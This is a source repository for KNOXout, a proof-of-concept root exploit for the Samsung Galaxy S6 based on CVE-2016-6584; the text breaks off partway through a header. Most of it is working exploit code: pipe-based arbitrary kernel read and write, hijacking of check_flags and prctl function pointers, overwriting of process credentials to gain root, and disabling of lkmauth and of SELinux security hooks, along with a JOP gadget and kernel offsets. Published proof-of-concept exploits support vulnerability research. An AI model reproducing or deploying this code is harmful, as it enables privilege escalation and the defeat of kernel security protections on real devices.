├── .gitignore ├── README.md └── jni ├── Android.mk ├── Application.mk ├── flex_array.c ├── getroot.c ├── include ├── flex_array.h ├── getroot.h ├── offsets.h ├── policydb.h ├── sid.h ├── sidtab.h └── threadinfo.h ├── main.c ├── offsets.c └── sid.c /.gitignore: -------------------------------------------------------------------------------- 1 | # Object files 2 | *.o 3 | *.ko 4 | *.obj 5 | *.elf 6 | obj/* 7 | libs/* 8 | 9 | # Precompiled Headers 10 | *.gch 11 | *.pch 12 | 13 | # Libraries 14 | *.lib 15 | *.a 16 | *.la 17 | *.lo 18 | 19 | # Shared objects (inc. Windows DLLs) 20 | *.dll 21 | *.so 22 | *.so.* 23 | *.dylib 24 | 25 | # Executables 26 | *.exe 27 | *.out 28 | *.app 29 | *.i*86 30 | *.x86_64 31 | *.hex 32 | 33 | # Debug files 34 | *.dSYM/ 35 | 36 | # ========================= 37 | # Operating System Files 38 | # ========================= 39 | 40 | # OSX 41 | # ========================= 42 | 43 | .DS_Store 44 | .AppleDouble 45 | .LSOverride 46 | 47 | # Thumbnails 48 | ._* 49 | 50 | # Files that might appear in the root of a volume 51 | .DocumentRevisions-V100 52 | .fseventsd 53 | .Spotlight-V100 54 | .TemporaryItems 55 | .Trashes 56 | .VolumeIcon.icns 57 | 58 | # Directories potentially created on remote AFP share 59 | .AppleDB 60 | .AppleDesktop 61 | Network Trash Folder 62 | Temporary Items 63 | .apdisk 64 | 65 | # Windows 66 | # ========================= 67 | 68 | # Windows image file caches 69 | Thumbs.db 70 | ehthumbs.db 71 | 72 | # Folder config file 73 | Desktop.ini 74 | 75 | # Recycle Bin used on file shares 76 | $RECYCLE.BIN/ 77 | 78 | # Windows Installer files 79 | *.cab 80 | *.msi 81 | *.msm 82 | *.msp 83 | 84 | # Windows shortcuts 85 | *.lnk 86 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # KNOXout 2 | A PoC of Galaxy S6 rooting based on the [CVE-2016-6584 vulnerability](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6584) 3 | 4 | It uses [iovyroot](https://github.com/dosomder/iovyroot) by dosomder/idler1984 for initial kernel write-what-where vulnerability. 5 | -------------------------------------------------------------------------------- /jni/Android.mk: -------------------------------------------------------------------------------- 1 | LOCAL_PATH := $(call my-dir) 2 | 3 | include $(CLEAR_VARS) 4 | 5 | LOCAL_ARM_MODE := arm 6 | LOCAL_CFLAGS := -O3 -DNDEBUG --all-warnings --extra-warnings 7 | LOCAL_C_INCLUDES := $(LOCAL_PATH)/include/ 8 | 9 | LOCAL_MODULE := knoxout 10 | LOCAL_SRC_FILES := main.c getroot.c flex_array.c sid.c offsets.c 11 | 12 | include $(BUILD_EXECUTABLE) 13 | -------------------------------------------------------------------------------- /jni/Application.mk: -------------------------------------------------------------------------------- 1 | APP_PLATFORM := android-21 2 | APP_ABI := arm64-v8a 3 | -------------------------------------------------------------------------------- /jni/flex_array.c: -------------------------------------------------------------------------------- 1 | 2 | #include "flex_array.h" 3 | 4 | static inline __u32 reciprocal_divide(__u32 A, __u32 R) 5 | { 6 | return (__u32)(((__u64)A * R) >> 32); 7 | } 8 | 9 | static int fa_element_to_part_nr(struct flex_array *fa, 10 | unsigned int element_nr) 11 | { 12 | return reciprocal_divide(element_nr, fa->reciprocal_elems); 13 | } 14 | 15 | /* 16 | * If a user requests an allocation which is small 17 | * enough, we may simply use the space in the 18 | * flex_array->parts[] array to store the user 19 | * data. 20 | */ 21 | static inline int elements_fit_in_base(struct flex_array *fa) 22 | { 23 | unsigned int data_size = fa->element_size * fa->total_nr_elements; 24 | if (data_size <= FLEX_ARRAY_BASE_BYTES_LEFT) 25 | return 1; 26 | return 0; 27 | } 28 | 29 | static unsigned int index_inside_part(struct flex_array *fa, 30 | unsigned int element_nr, 31 | unsigned int part_nr) 32 | { 33 | unsigned int part_offset; 34 | 35 | part_offset = element_nr - part_nr * fa->elems_per_part; 36 | return part_offset * fa->element_size; 37 | } 38 | 39 | inline void* flex_array_get_from_part(struct flex_array_part* part, int part_nr, struct flex_array* fa, unsigned int element_nr) 40 | { 41 | return &part->elements[index_inside_part(fa, element_nr, part_nr)]; 42 | } 43 | 44 | struct flex_array_part* flex_array_get_part(struct flex_array* fa, unsigned int element_nr, int* partnr) 45 | { 46 | int part_nr = fa_element_to_part_nr(fa, element_nr); 47 | struct flex_array_part* part = fa->parts[part_nr]; 48 | if(partnr) 49 | *partnr = part_nr; 50 | return part; 51 | } 52 | 53 | void *flex_array_get_base(struct flex_array *fa, unsigned int element_nr) 54 | { 55 | int part_nr = 0; 56 | struct flex_array_part *part; 57 | 58 | if (!elements_fit_in_base(fa)) 59 | return NULL; 60 | 61 | part = (struct flex_array_part *)&fa->parts[0]; 62 | return &part->elements[index_inside_part(fa, element_nr, part_nr)]; 63 | } 64 | 65 | inline unsigned int flex_array_has_element(struct flex_array* fa, unsigned int element_nr) 66 | { 67 | if (!fa->element_size) 68 | return 0; 69 | if (element_nr >= (unsigned int)fa->total_nr_elements) 70 | return 0; 71 | return 1; 72 | } 73 | 74 | void *flex_array_get(struct flex_array *fa, unsigned int element_nr) 75 | { 76 | int part_nr = 0; 77 | struct flex_array_part *part; 78 | 79 | if (!flex_array_has_element(fa, element_nr)) 80 | return NULL; 81 | if (elements_fit_in_base(fa)) 82 | part = (struct flex_array_part *)&fa->parts[0]; 83 | else 84 | { 85 | part_nr = fa_element_to_part_nr(fa, element_nr); 86 | part = fa->parts[part_nr]; 87 | if (!part) 88 | return NULL; 89 | } 90 | 91 | return &part->elements[index_inside_part(fa, element_nr, part_nr)]; 92 | } 93 | -------------------------------------------------------------------------------- /jni/getroot.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "getroot.h" 9 | #include "offsets.h" 10 | #include "threadinfo.h" 11 | #include "sid.h" 12 | 13 | #define __user 14 | #define __kernel 15 | 16 | #define QUOTE(str) #str 17 | #define TOSTR(str) QUOTE(str) 18 | #define ASMMAGIC (0xBEEFDEAD) 19 | 20 | int read_at_address_pipe(void* address, void* buf, ssize_t len) 21 | { 22 | int ret = 1; 23 | int pipes[2]; 24 | 25 | if(pipe(pipes)) 26 | return 1; 27 | 28 | if(write(pipes[1], address, len) != len) 29 | goto end; 30 | if(read(pipes[0], buf, len) != len) 31 | goto end; 32 | 33 | ret = 0; 34 | end: 35 | close(pipes[1]); 36 | close(pipes[0]); 37 | return ret; 38 | } 39 | 40 | int write_at_address_pipe(void* address, void* buf, ssize_t len) 41 | { 42 | int ret = 1; 43 | int pipes[2]; 44 | 45 | if(pipe(pipes)) 46 | return 1; 47 | 48 | if(write(pipes[1], buf, len) != len) 49 | goto end; 50 | if(read(pipes[0], address, len) != len) 51 | goto end; 52 | 53 | ret = 0; 54 | end: 55 | close(pipes[1]); 56 | close(pipes[0]); 57 | return ret; 58 | } 59 | 60 | inline int writel_at_address_pipe(void* address, unsigned long val) 61 | { 62 | return write_at_address_pipe(address, &val, sizeof(val)); 63 | } 64 | 65 | unsigned int execute_via_check_flags(int dev, void* check_flags, void* function, unsigned long arg) { 66 | unsigned int ret = 0; 67 | 68 | if(writel_at_address_pipe(check_flags, (unsigned long) function)) 69 | return 1; 70 | 71 | ret = (unsigned)fcntl(dev, F_SETFL, arg); 72 | writel_at_address_pipe(check_flags, 0); 73 | 74 | return ret; 75 | } 76 | 77 | unsigned long execute_via_task_prctl(struct offsets* o, void* function, int arg0, unsigned long long arg1, unsigned long long arg2, unsigned long long arg3, unsigned long long arg4, unsigned long long arg5) { 78 | unsigned long ret = 0; 79 | 80 | if(writel_at_address_pipe(o->security_ops_prctl, (unsigned long) function)) 81 | return 1; 82 | 83 | ret = (unsigned long) prctl(arg0, arg1, arg2, arg3, arg4, arg5); 84 | 85 | writel_at_address_pipe(o->security_ops_prctl, (unsigned long) o->cap_task_prctl); 86 | 87 | return ret; 88 | } 89 | 90 | int modify_task_cred_rkp(struct thread_info* __kernel info) 91 | { 92 | unsigned int i; 93 | struct cred* __kernel cred = NULL; 94 | struct cred* __kernel real_cred = NULL; 95 | 96 | struct cred** cred_pointer_location = NULL; 97 | struct cred** real_cred_pointer_location = NULL; 98 | 99 | struct thread_info ti; 100 | 101 | struct task_struct_partial* __user tsp; 102 | struct task_struct_partial_parents* __user ptsp; 103 | 104 | pid_t pid = getpid(); 105 | 106 | if(read_at_address_pipe(info, &ti, sizeof(ti))) 107 | return 1; 108 | 109 | printf(" [+] Found task at %p\n", ti.task); 110 | 111 | tsp = malloc(sizeof(*tsp)); 112 | 113 | for(i = 0; i < 0x600; i+= sizeof(void*)) 114 | { 115 | struct task_struct_partial* __kernel t = (struct task_struct_partial*) ((void*)ti.task + i); 116 | 117 | if(read_at_address_pipe(t, tsp, sizeof(*tsp))) 118 | break; 119 | 120 | if (is_cpu_timer_valid(&tsp->cpu_timers[0]) 121 | && is_cpu_timer_valid(&tsp->cpu_timers[1]) 122 | && is_cpu_timer_valid(&tsp->cpu_timers[2]) 123 | && (tsp->real_cred == tsp->cred) 124 | && ((unsigned long)tsp->cred > KERNEL_START)) 125 | { 126 | cred_pointer_location = (void*)ti.task + i + offsetof(struct task_struct_partial, cred); 127 | real_cred_pointer_location = (void*)ti.task + i + offsetof(struct task_struct_partial, real_cred); 128 | 129 | cred = tsp->cred; 130 | real_cred = tsp->real_cred; 131 | 132 | printf(" [+] Found cred struct at %p pointed by %p\n", cred, cred_pointer_location); 133 | printf(" [+] Found real_cred struct at %p pointed by %p\n", real_cred, real_cred_pointer_location); 134 | break; 135 | } 136 | } 137 | 138 | free(tsp); 139 | 140 | if(cred == NULL) 141 | return 1; 142 | 143 | ptsp = malloc(sizeof(*ptsp)); 144 | 145 | for(i = 0; i < 0x600; i+= sizeof(void*)) 146 | { 147 | struct task_struct_partial_parents* __kernel p = (struct task_struct_partial_parents*) ((void*)ti.task + i); 148 | 149 | if(read_at_address_pipe(p, ptsp, sizeof(*ptsp))) 150 | break; 151 | 152 | if ((ptsp->pid == pid) && (ptsp->tgid == pid)) { 153 | void* parent_backup = ptsp->parent; 154 | printf(" [+] Setting PID to 0\n"); 155 | ptsp->pid = 0; 156 | ptsp->parent = NULL; 157 | write_at_address_pipe(p, ptsp, sizeof(*ptsp)); 158 | 159 | setuid(0); 160 | printf(" [+] Set UID to 0, restoring PID\n"); 161 | 162 | ptsp->pid = pid; 163 | ptsp->parent = parent_backup; 164 | write_at_address_pipe(p, ptsp, sizeof(*ptsp)); 165 | 166 | read_at_address_pipe(cred_pointer_location, &cred, sizeof(cred)); 167 | printf(" [+] task->cred is %p\n", cred); 168 | 169 | write_at_address_pipe(real_cred_pointer_location, &cred, sizeof(cred)); 170 | read_at_address_pipe(real_cred_pointer_location, &real_cred, sizeof(real_cred)); 171 | printf(" [+] task->real_cred is %p\n", real_cred); 172 | 173 | } 174 | 175 | } 176 | 177 | free(ptsp); 178 | 179 | return 0; 180 | } 181 | 182 | int disable_lkmauth(struct offsets *o) { 183 | int bootmode = 2; // BOOTMODE_RECOVERY 184 | write_at_address_pipe(o->lkmauth_bootmode, &bootmode, sizeof(bootmode)); 185 | 186 | return 0; 187 | } 188 | 189 | int disable_selinux_hooks(struct offsets *o) { 190 | struct security_operations security_ops; 191 | 192 | read_at_address_pipe(o->security_ops, &security_ops, sizeof(security_ops)); 193 | 194 | security_ops.bprm_check_security = o->security_ret_0; 195 | security_ops.bprm_committing_creds = o->security_void; 196 | security_ops.bprm_committed_creds = o->security_void; 197 | 198 | security_ops.sb_statfs = o->security_ret_0; 199 | security_ops.sb_mount = o->security_ret_0; 200 | security_ops.sb_remount = o->security_ret_0; 201 | security_ops.sb_umount = o->security_ret_0; 202 | security_ops.sb_pivotroot = o->security_ret_0; 203 | 204 | security_ops.inode_create = o->security_ret_0; 205 | security_ops.inode_link = o->security_ret_0; 206 | security_ops.inode_unlink = o->security_ret_0; 207 | security_ops.inode_symlink = o->security_ret_0; 208 | security_ops.inode_mkdir = o->security_ret_0; 209 | security_ops.inode_rmdir = o->security_ret_0; 210 | security_ops.inode_mknod = o->security_ret_0; 211 | security_ops.inode_rename = o->security_ret_0; 212 | security_ops.inode_readlink = o->security_ret_0; 213 | security_ops.inode_follow_link = o->security_ret_0; 214 | security_ops.inode_permission = o->security_ret_0; 215 | security_ops.inode_setattr = o->security_ret_0; 216 | security_ops.inode_getattr = o->security_ret_0; 217 | security_ops.inode_setxattr = o->security_ret_0; 218 | security_ops.inode_post_setxattr = o->security_ret_0; 219 | security_ops.inode_getxattr = o->security_ret_0; 220 | security_ops.inode_listxattr = o->security_ret_0; 221 | security_ops.inode_removexattr = o->security_ret_0; 222 | security_ops.inode_need_killpriv = o->security_ret_0; 223 | 224 | security_ops.file_permission = o->security_ret_0; 225 | security_ops.file_ioctl = o->security_ret_0; 226 | security_ops.mmap_addr = o->security_ret_0; 227 | security_ops.mmap_file = o->security_ret_0; 228 | security_ops.file_mprotect = o->security_ret_0; 229 | security_ops.file_lock = o->security_ret_0; 230 | security_ops.file_fcntl = o->security_ret_0; 231 | security_ops.file_send_sigiotask = o->security_ret_0; 232 | security_ops.file_receive = o->security_ret_0; 233 | 234 | security_ops.task_create = o->security_ret_0; 235 | security_ops.kernel_module_from_file= o->security_ret_0; 236 | security_ops.task_setpgid = o->security_ret_0; 237 | security_ops.task_getpgid = o->security_ret_0; 238 | security_ops.task_getsid = o->security_ret_0; 239 | security_ops.task_setnice = o->security_ret_0; 240 | security_ops.task_setioprio = o->security_ret_0; 241 | security_ops.task_getioprio = o->security_ret_0; 242 | security_ops.task_setrlimit = o->security_ret_0; 243 | security_ops.task_setscheduler = o->security_ret_0; 244 | security_ops.task_getscheduler = o->security_ret_0; 245 | security_ops.task_movememory = o->security_ret_0; 246 | security_ops.task_kill = o->security_ret_0; 247 | 248 | security_ops.capable = o->security_ret_0; 249 | security_ops.syslog = o->security_ret_0; 250 | security_ops.settime = o->security_ret_0; 251 | security_ops.vm_enough_memory = o->security_ret_0; 252 | 253 | write_at_address_pipe(o->security_ops, &security_ops, sizeof(security_ops)); 254 | 255 | return 0; 256 | } 257 | 258 | void preparejop(void** addr, void* jopret) 259 | { 260 | unsigned int i; 261 | for(i = 0; i < (0x1000 / sizeof(int)); i++) 262 | ((int*)addr)[i] = 0xDEAD; 263 | 264 | /* Galaxy S6 265 | 0xffffffc0003e2b3c 020840f9 ldr x2, [x0, 0x10] 266 | 0xffffffc0003e2b40 a0830091 add x0, x29, 0x20 267 | 0xffffffc0003e2b44 40003fd6 blr x2 268 | */ 269 | addr[2] = jopret; //[x0, 0x10] 270 | } 271 | -------------------------------------------------------------------------------- /jni/include/flex_array.h: -------------------------------------------------------------------------------- 1 | #ifndef FLEX_ARRAY_H 2 | #define FLEX_ARRAY_H 3 | 4 | #include 5 | 6 | #define FLEX_ARRAY_PART_SIZE PAGE_SIZE 7 | #define FLEX_ARRAY_BASE_SIZE PAGE_SIZE 8 | 9 | #define SYM_COMMONS 0 10 | #define SYM_CLASSES 1 11 | #define SYM_ROLES 2 12 | #define SYM_TYPES 3 13 | #define SYM_USERS 4 14 | #define SYM_BOOLS 5 15 | #define SYM_LEVELS 6 16 | #define SYM_CATS 7 17 | #define SYM_NUM 8 18 | 19 | struct symtab { 20 | void *table; /* hash table (keyed on a string) */ 21 | __u32 nprim; /* number of primary names in table */ 22 | }; 23 | 24 | struct flex_array_part { 25 | char elements[FLEX_ARRAY_PART_SIZE]; 26 | }; 27 | 28 | struct flex_array { 29 | union { 30 | struct { 31 | int element_size; 32 | int total_nr_elements; 33 | int elems_per_part; 34 | __u32 reciprocal_elems; 35 | struct flex_array_part *parts[]; 36 | }; 37 | /* 38 | * This little trick makes sure that 39 | * sizeof(flex_array) == PAGE_SIZE 40 | */ 41 | char padding[FLEX_ARRAY_BASE_SIZE]; 42 | }; 43 | }; 44 | 45 | /* Number of bytes left in base struct flex_array, excluding metadata */ 46 | #define FLEX_ARRAY_BASE_BYTES_LEFT \ 47 | (FLEX_ARRAY_BASE_SIZE - offsetof(struct flex_array, parts)) 48 | 49 | void *flex_array_get(struct flex_array *fa, unsigned int element_nr); 50 | //safe functions for usercode 51 | inline unsigned int flex_array_has_element(struct flex_array* fa, unsigned int element_nr); 52 | void *flex_array_get_base(struct flex_array *fa, unsigned int element_nr); 53 | void* flex_array_get_from_part(struct flex_array_part* part, int part_nr, struct flex_array* fa, unsigned int element_nr); 54 | struct flex_array_part* flex_array_get_part(struct flex_array* fa, unsigned int element_nr, int* partnr); 55 | 56 | #endif /* FLEX_ARRAY_H */ 57 | -------------------------------------------------------------------------------- /jni/include/getroot.h: -------------------------------------------------------------------------------- 1 | #ifndef GETROOT_H 2 | #define GETROOT_H 3 | 4 | #include "offsets.h" 5 | #include "threadinfo.h" 6 | 7 | int read_at_address_pipe(void* address, void* buf, ssize_t len); 8 | int write_at_address_pipe(void* address, void* buf, ssize_t len); 9 | inline int writel_at_address_pipe(void* address, unsigned long val); 10 | unsigned int execute_via_check_flags(int dev, void* check_flags, void* function, unsigned long arg); 11 | unsigned long execute_via_task_prctl(struct offsets* o, void* function, int arg0, unsigned long long arg1, unsigned long long arg2, unsigned long long arg3, unsigned long long arg4, unsigned long long arg5); 12 | int modify_task_cred_rkp(struct thread_info* info); 13 | int disable_lkmauth(struct offsets *o); 14 | int disable_selinux_hooks(struct offsets *o); 15 | void preparejop(void** addr, void* jopret); 16 | 17 | #define MMAP_START ((void*)0x40000000) 18 | #define MMAP_SIZE (0x1000) 19 | #define MMAP_BASE(i) (MMAP_START + (i) * MMAP_SIZE) 20 | 21 | #endif /* GETROOT_H */ 22 | -------------------------------------------------------------------------------- /jni/include/offsets.h: -------------------------------------------------------------------------------- 1 | #ifndef OFFSETS_H 2 | #define OFFSETS_H 3 | 4 | //struct file_operations 5 | #define CHECK_FLAGS_OFFSET(i) ((void*)(((unsigned long)i) + (20 * sizeof(void*)))) 6 | #define PRCTL_OFFSET(i) ((void*)(i + 0x310)) 7 | #define SAMSUNG_KERNEL_OFFSET(i) ((void*)(0xffffffc000205000 + (i))) 8 | 9 | struct offsets { 10 | char* devname; //ro.product.model 11 | char* kernelver; // /proc/version 12 | void* check_flags; //ptmx_fops -> check_flags 13 | void* joploc; //gadget location, see getroot.c 14 | void* jopret; //return to setfl after check_flags() (fcntl.c), usually inlined in sys_fcntl 15 | void* sidtab; //optional, for selinux contenxt 16 | void* policydb; //optional, for selinux context 17 | void* selinux_enabled; 18 | void* selinux_enforcing; 19 | void* rkp_override_creds; 20 | void* prepare_kernel_cred; 21 | void* security_ops_prctl; 22 | void* cap_task_prctl; 23 | void* rkp_call; 24 | void* exynos_smc64; 25 | void* vmm_disable; 26 | void* security_ops; 27 | void* security_ret_0; 28 | void* security_void; 29 | void* lkmauth_bootmode; 30 | }; 31 | 32 | struct offsets* get_offsets(); 33 | extern struct offsets offsets[]; 34 | 35 | #endif /* OFFSETS_H */ 36 | -------------------------------------------------------------------------------- /jni/include/policydb.h: -------------------------------------------------------------------------------- 1 | #ifndef POLICYDB_H 2 | #define POLICYDB_H 3 | 4 | #include "flex_array.h" 5 | 6 | struct policydb* policydb; 7 | 8 | struct policydb { 9 | int mls_enabled; 10 | 11 | /* symbol tables */ 12 | struct symtab symtab[SYM_NUM]; 13 | 14 | /* symbol names indexed by (value - 1) */ 15 | struct flex_array *sym_val_to_name[SYM_NUM]; 16 | 17 | /* ... */ 18 | }; 19 | 20 | #endif 21 | -------------------------------------------------------------------------------- /jni/include/sid.h: -------------------------------------------------------------------------------- 1 | #ifndef SID_H 2 | #define SID_H 3 | 4 | int get_sid(char* sidname); 5 | 6 | #endif /* SID_H */ 7 | -------------------------------------------------------------------------------- /jni/include/sidtab.h: -------------------------------------------------------------------------------- 1 | #ifndef SIDTAB_H 2 | #define SIDTAB_H 3 | 4 | #define SIDTAB_HASH_BITS 7 5 | #define SIDTAB_HASH_BUCKETS (1 << SIDTAB_HASH_BITS) 6 | #define SIDTAB_HASH_MASK (SIDTAB_HASH_BUCKETS-1) 7 | #define SIDTAB_HASH(sid) (sid & SIDTAB_HASH_MASK) 8 | #define SIDTAB_SIZE SIDTAB_HASH_BUCKETS 9 | 10 | struct sidtab* sidtab; 11 | 12 | #ifndef u32 13 | typedef unsigned int u32; 14 | #endif 15 | 16 | struct ebitmap { 17 | void *node; /* first node in the bitmap */ 18 | u32 highbit; /* highest position in the total bitmap */ 19 | }; 20 | 21 | struct mls_level { 22 | u32 sens; /* sensitivity */ 23 | struct ebitmap cat; /* category set */ 24 | }; 25 | 26 | struct mls_range { 27 | struct mls_level level[2]; /* low == level[0], high == level[1] */ 28 | }; 29 | 30 | struct context { 31 | u32 user; 32 | u32 role; 33 | u32 type; 34 | u32 len; /* length of string in bytes */ 35 | struct mls_range range; 36 | char *str; /* string representation if context cannot be mapped. */ 37 | }; 38 | 39 | struct sidtab_node { 40 | u32 sid; /* security identifier */ 41 | struct context context; /* security context structure */ 42 | struct sidtab_node *next; 43 | }; 44 | 45 | struct sidtab { 46 | struct sidtab_node **htable; 47 | unsigned int nel; /* number of elements */ 48 | /* ... */ 49 | }; 50 | 51 | #endif /* SIDTAB_H */ 52 | -------------------------------------------------------------------------------- /jni/include/threadinfo.h: -------------------------------------------------------------------------------- 1 | #ifndef THREADINFO_H 2 | #define THREADINFO_H 3 | 4 | //64bit structs according to sources from Z5 Lollipop 32.0.A.6.200 5 | //32bit structs according to sources from Z3C Lollipop 23.4.A.1.200 6 | 7 | #if (__LP64__) 8 | #define KERNEL_START 0xffffffc000000000 9 | #define THREAD_SIZE 16384 10 | #else 11 | #define KERNEL_START 0xc0000000 12 | #define THREAD_SIZE 8192 13 | #endif 14 | 15 | typedef unsigned int u32; 16 | struct task_struct; 17 | struct thread_info; 18 | 19 | struct list_head { 20 | struct list_head *next, *prev; 21 | }; 22 | 23 | static inline struct thread_info* get_thread_info(unsigned long sp) 24 | { 25 | return (struct thread_info*)(sp & ~(THREAD_SIZE - 1)); 26 | } 27 | 28 | static inline struct thread_info* current_thread_info() 29 | { 30 | register unsigned long sp asm ("sp"); 31 | return get_thread_info(sp); 32 | } 33 | 34 | static inline int is_cpu_timer_valid(struct list_head* cpu_timer) 35 | { 36 | if (cpu_timer->next != cpu_timer->prev) 37 | return 0; 38 | 39 | if ((unsigned long)cpu_timer->next < KERNEL_START) 40 | return 0; 41 | 42 | return 1; 43 | } 44 | 45 | typedef struct { 46 | int counter; 47 | } atomic_t; 48 | 49 | typedef struct kernel_cap_struct { 50 | __u32 cap[2]; 51 | } kernel_cap_t; 52 | 53 | struct task_security_struct { 54 | u32 osid; /* SID prior to last execve */ 55 | u32 sid; /* current SID */ 56 | u32 exec_sid; /* exec SID */ 57 | u32 create_sid; /* fscreate SID */ 58 | u32 keycreate_sid; /* keycreate SID */ 59 | u32 sockcreate_sid; /* fscreate SID */ 60 | }; 61 | 62 | struct task_struct_partial 63 | { 64 | /* ... */ 65 | struct list_head cpu_timers[3]; 66 | struct cred *real_cred; 67 | struct cred *cred; 68 | struct cred *replacement_session_keyring; 69 | char comm[16]; 70 | /* ... */ 71 | }; 72 | 73 | 74 | struct task_struct_partial_parents 75 | { 76 | /* ... */ 77 | pid_t pid; 78 | pid_t tgid; 79 | void *real_parent; 80 | void *parent; 81 | }; 82 | 83 | struct cred { 84 | atomic_t usage; 85 | uid_t uid; /* real UID of the task */ 86 | gid_t gid; /* real GID of the task */ 87 | uid_t suid; /* saved UID of the task */ 88 | gid_t sgid; /* saved GID of the task */ 89 | uid_t euid; /* effective UID of the task */ 90 | gid_t egid; /* effective GID of the task */ 91 | uid_t fsuid; /* UID for VFS ops */ 92 | gid_t fsgid; /* GID for VFS ops */ 93 | unsigned securebits; /* SUID-less security management */ 94 | kernel_cap_t cap_inheritable; /* caps our children can inherit */ 95 | kernel_cap_t cap_permitted; /* caps we're permitted */ 96 | kernel_cap_t cap_effective; /* caps we can actually use */ 97 | kernel_cap_t cap_bset; /* capability bounding set */ 98 | unsigned char jit_keyring; /* default keyring to attach requested 99 | * keys to */ 100 | #if (__LP64__) 101 | void *session_keyring; /* keyring inherited over fork */ 102 | void *process_keyring; /* keyring private to this process */ 103 | void *thread_keyring; /* keyring private to this thread */ 104 | void *request_key_auth; /* assumed request_key authority */ 105 | #else 106 | void *thread_keyring; /* keyring private to this thread */ 107 | void *request_key_auth; /* assumed request_key authority */ 108 | void *tgcred; /* thread-group shared credentials */ 109 | #endif 110 | struct task_security_struct *security; /* subjective LSM security */ 111 | /* ... */ 112 | }; 113 | 114 | #if (__LP64__) 115 | struct thread_info { 116 | unsigned long flags; /* low level flags */ 117 | unsigned long addr_limit; /* address limit */ 118 | struct task_struct *task; /* main task structure */ 119 | /* ... */ 120 | }; 121 | #else 122 | struct thread_info 123 | { 124 | unsigned long flags; 125 | int preempt_count; 126 | unsigned long addr_limit; 127 | struct task_struct *task; 128 | /* ... */ 129 | }; 130 | #endif 131 | 132 | struct security_operations { 133 | char name[16]; 134 | 135 | int (*binder_set_context_mgr) (void*); 136 | int (*binder_transaction) (void*, void*); 137 | int (*binder_transfer_binder) (void*, void*); 138 | int (*binder_transfer_file) (void*, void*, void*); 139 | 140 | int (*ptrace_access_check) (void*, unsigned int); 141 | int (*ptrace_traceme) (void*); 142 | int (*capget) (void*, void*, void*, void*); 143 | int (*capset) (void*, const void*, const void*, const void*, const void*); 144 | int (*capable) (const void*, void*, int, int); 145 | int (*quotactl) (int cmds, int type, int id, void *sb); 146 | int (*quota_on) (void*dentry); 147 | int (*syslog) (int type); 148 | int (*settime) (const void*ts, const void*tz); 149 | int (*vm_enough_memory) (void*mm, long pages); 150 | 151 | int (*bprm_set_creds) (void*bprm); 152 | int (*bprm_check_security) (void*bprm); 153 | int (*bprm_secureexec) (void*bprm); 154 | void (*bprm_committing_creds) (void*bprm); 155 | void (*bprm_committed_creds) (void*bprm); 156 | 157 | int (*sb_alloc_security) (void*sb); 158 | void (*sb_free_security) (void*sb); 159 | int (*sb_copy_data) (char *orig, char *copy); 160 | int (*sb_remount) (void*sb, void *data); 161 | int (*sb_kern_mount) (void*sb, int flags, void *data); 162 | int (*sb_show_options) (void*m, void*sb); 163 | int (*sb_statfs) (void*dentry); 164 | int (*sb_mount) (const char *dev_name, void*path, 165 | const char *type, unsigned long flags, void *data); 166 | int (*sb_umount) (void*mnt, int flags); 167 | int (*sb_pivotroot) (void*old_path, 168 | void*new_path); 169 | int (*sb_set_mnt_opts) (void*sb, 170 | void*opts); 171 | int (*sb_clone_mnt_opts) (const void*oldsb, 172 | void*newsb); 173 | int (*sb_parse_opts_str) (char *options, void*opts); 174 | 175 | #ifdef CONFIG_SECURITY_PATH 176 | int (*path_unlink) (void*dir, void*dentry); 177 | int (*path_mkdir) (void*dir, void*dentry, int mode); 178 | int (*path_rmdir) (void*dir, void*dentry); 179 | int (*path_mknod) (void*dir, void*dentry, int mode, 180 | unsigned int dev); 181 | int (*path_truncate) (void*path); 182 | int (*path_symlink) (void*dir, void*dentry, 183 | const char *old_name); 184 | int (*path_link) (void*old_dentry, void*new_dir, 185 | void*new_dentry); 186 | int (*path_rename) (void*old_dir, void*old_dentry, 187 | void*new_dir, void*new_dentry); 188 | int (*path_chmod) (void*path, int mode); 189 | int (*path_chown) (void*path, kuid_t uid, kgid_t gid); 190 | int (*path_chroot) (void*path); 191 | #endif 192 | 193 | int (*inode_alloc_security) (void*inode); 194 | void (*inode_free_security) (void*inode); 195 | int (*inode_init_security) (void*inode, void*dir, 196 | const void*qstr, char **name, 197 | void **value, size_t *len); 198 | int (*inode_create) (void*dir, 199 | void*dentry, int mode); 200 | int (*inode_link) (void*old_dentry, 201 | void*dir, void*new_dentry); 202 | int (*inode_unlink) (void*dir, void*dentry); 203 | int (*inode_symlink) (void*dir, 204 | void*dentry, const char *old_name); 205 | int (*inode_mkdir) (void*dir, void*dentry, int mode); 206 | int (*inode_rmdir) (void*dir, void*dentry); 207 | int (*inode_mknod) (void*dir, void*dentry, 208 | int mode, dev_t dev); 209 | int (*inode_rename) (void*old_dir, void*old_dentry, 210 | void*new_dir, void*new_dentry); 211 | int (*inode_readlink) (void*dentry); 212 | int (*inode_follow_link) (void*dentry, void*nd); 213 | int (*inode_permission) (void*inode, int mask); 214 | int (*inode_setattr) (void*dentry, void*attr); 215 | int (*inode_getattr) (void*mnt, void*dentry); 216 | int (*inode_setxattr) (void*dentry, const char *name, 217 | const void *value, size_t size, int flags); 218 | void (*inode_post_setxattr) (void*dentry, const char *name, 219 | const void *value, size_t size, int flags); 220 | int (*inode_getxattr) (void*dentry, const char *name); 221 | int (*inode_listxattr) (void*dentry); 222 | int (*inode_removexattr) (void*dentry, const char *name); 223 | int (*inode_need_killpriv) (void*dentry); 224 | int (*inode_killpriv) (void*dentry); 225 | int (*inode_getsecurity) (const void*inode, const char *name, void **buffer, char alloc); 226 | int (*inode_setsecurity) (void*inode, const char *name, const void *value, size_t size, int flags); 227 | int (*inode_listsecurity) (void*inode, char *buffer, size_t buffer_size); 228 | void (*inode_getsecid) (const void*inode, u32 *secid); 229 | 230 | int (*file_permission) (void*file, int mask); 231 | int (*file_alloc_security) (void*file); 232 | void (*file_free_security) (void*file); 233 | int (*file_ioctl) (void*file, unsigned int cmd, 234 | unsigned long arg); 235 | int (*mmap_addr) (unsigned long addr); 236 | int (*mmap_file) (void*file, 237 | unsigned long reqprot, unsigned long prot, 238 | unsigned long flags); 239 | int (*file_mprotect) (void*vma, 240 | unsigned long reqprot, 241 | unsigned long prot); 242 | int (*file_lock) (void*file, unsigned int cmd); 243 | int (*file_fcntl) (void*file, unsigned int cmd, 244 | unsigned long arg); 245 | int (*file_set_fowner) (void*file); 246 | int 